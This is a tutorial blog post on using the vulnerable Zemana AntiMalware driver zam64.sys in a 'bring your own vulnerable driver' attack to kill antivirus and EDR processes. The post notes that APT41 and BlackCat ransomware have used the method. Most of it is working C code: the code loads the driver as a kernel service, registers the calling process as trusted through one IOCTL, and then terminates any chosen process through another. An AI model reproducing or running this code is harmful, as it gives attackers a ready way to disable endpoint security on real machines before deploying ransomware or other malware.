Recently, Malware authors are using byovd(bring your vulnerable driver) too much to kill EDRs/AVs or to become persistent. This tool was used by Earth Longzhi , a subgroup of APT41 or Winnti and BlackCat Ransomware group
They are using the vulnerability in the Zemana AntiMalware software driver zam64.sys and zamgaurd64.sys . They are the same driver which just different names 😐 .There hashes are same. I am using the zam64.sys driver in this tutorial , which is found on the loldrivers here . There are lot of vulnerabilities found in this drivers , all due to no proper checking on the user input. I will be using bug in two IOCTL , which is used to kill process.
Reversing zam64.sys
This driver has some more symbols which helps in finding us IOCTL name and its use despite it needs to be obfuscated as it is a antimalware driver.
On opening the driver , we can see that the driver is creating symbolic link with the name as \\Device\\ZemanaAntiMalware.
So, in the IOCTL numbers list , there are many IOCTLs for different processes but the useful one for us is the IOCTL_TERMINATE_PROCESS and IOCTL_REGISTER_PROCESS.
This whole reverse engineering is done very briefly by @VoidSec in his blog post blog . But the main thing to consider here is that the processes which are in the trusted process list are allowed to do IOCTL operation.
So, using the IOCTL_REGISTER_PROCESS we will register our process in trusted process list and then using other IOCTL_TERMINATE_PROCESS we can terminate any process except system process😮 with pid 4.
Register Service
So, first we have to register the zam64.sys driver as a kernel services for which we will be using CreateServiceA and OpenServiceA windows api to create and start the service.
Just doing some basic check if the service is created before then only start the service and vice versa. BOOL InstallDriver(char* Driverpath)
{
SC_HANDLE hSCM, hService;
SERVICE_STATUS Servicestatus;
//establish connection to service control manager
hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (hSCM == NULL) {
printf("[OpenScManagerA] error code: 0x%08x\n", GetLastError());
exit(EXIT_FAILURE);
return FALSE;
}
//Check if the service is already running and its state that whether it is running or stop.
hService = OpenServiceA(hSCM, servicename, SERVICE_ALL_ACCESS);
if (hService != NULL)
{
printf("[#] Service Already existing\n");
//Check the state of the service
if (!QueryServiceStatus(hService, &Servicestatus)) {
//error in opern handling or some error
CloseServiceHandle(hSCM);
CloseServiceHandle(hService);
printf("[QueryServiceStatus] error code: 0x%08x\n", GetLastError());
exit(EXIT_FAILURE);
return FALSE;
}
//If the service is stopped, then start the service
if (Servicestatus.dwCurrentState == SERVICE_STOPPED)
{
if (!StartServiceA(hService,0,NULL))
{
//something error in starting service
CloseServiceHandle(hSCM);
CloseServiceHandle(hService);
printf("[StartServiceA] error code : 0x%08X\n", GetLastError());
exit(EXIT_FAILURE);
return FALSE;
}
printf("[#] Starting service KillPid\n");
}
//Close Handles
CloseServiceHandle(hSCM);
CloseServiceHandle(hService);
return TRUE;
}
//If service is not created before
hService = CreateServiceA(hSCM, servicename, servicename, SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE,
Driverpath, NULL, NULL, NULL, NULL, NULL);
if (hService == NULL)
{
//error creating service
CloseServiceHandle(hSCM);
printf("[CreateServiceA] error code : 0x%08x\n", GetLastError());
exit(EXIT_FAILURE);
return FALSE;
}
printf("[#] Service Created Successfully\n");
//START THE CREATED SERVICE
if (!StartServiceA(hService,0, NULL))
{
CloseServiceHandle(hSCM);
CloseServiceHandle(hService);
printf("[StartServiceA] error code: 0x%08x\n", GetLastError());
exit(EXIT_FAILURE);
return FALSE;
}
printf("[#] Starting service KillPid ..\n");
CloseServiceHandle(hSCM);
CloseServiceHandle(hService);
return TRUE;
}
Process terminator
we have to use to IOCTLs IOCTL_TERMINATE_PROCESS and IOCTL_REGISTER_PROCESS having IOCTL numbers as 0x80002048 and 0x80002010.
//Exploitaion part of the zam64.sys driver
//opening the handle to the driver zam64.sys
HMODULE hZAM = CreateFileA(TerminatorPath,
FILE_READ_ACCESS | FILE_WRITE_ACCESS,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
NULL);
if (hZAM == INVALID_HANDLE_VALUE) {
printf("[CreateFileA] error code : 0x%08x\n", GetLastError());
exit(EXIT_FAILURE);
}
ULONG CurrentPid = GetCurrentProcessId();
ULONG BytesReturned = 0;
//registry CurrentProcessId in the trusted Process List.
int ret = DeviceIoControl(hZAM, IOCTL_REGISTER_PROCESS, &CurrentPid, sizeof(CurrentPid), NULL, 0, NULL, NULL);
if (!ret) {
printf("[DeviceIoControl] Failed to regsiter in trusted process list Code: 0x%08x\n", GetLastError());
CloseHandle(hZAM);
exit(EXIT_FAILURE);
}
printf("[+] Terminating the pid %i\n", pid);
//terminate the process
ret = DeviceIoControl(hZAM, IOCTL_KILL_PROCESS, &pid, sizeof(pid), NULL, NULL, &BytesReturned, NULL);
if (!ret) {
printf("[DeviceIoControl] Failed to kill process id error code: 0x%08x\n", GetLastError());
CloseHandle(hZAM);
exit(EXIT_FAILURE);
}
CloseHandle(hZAM);
Just sending the currentprocessid to register the process first and then sending the pid taken as input from user to kill the process.you can look at the full code at my GitHub repo .
Thanks for reading.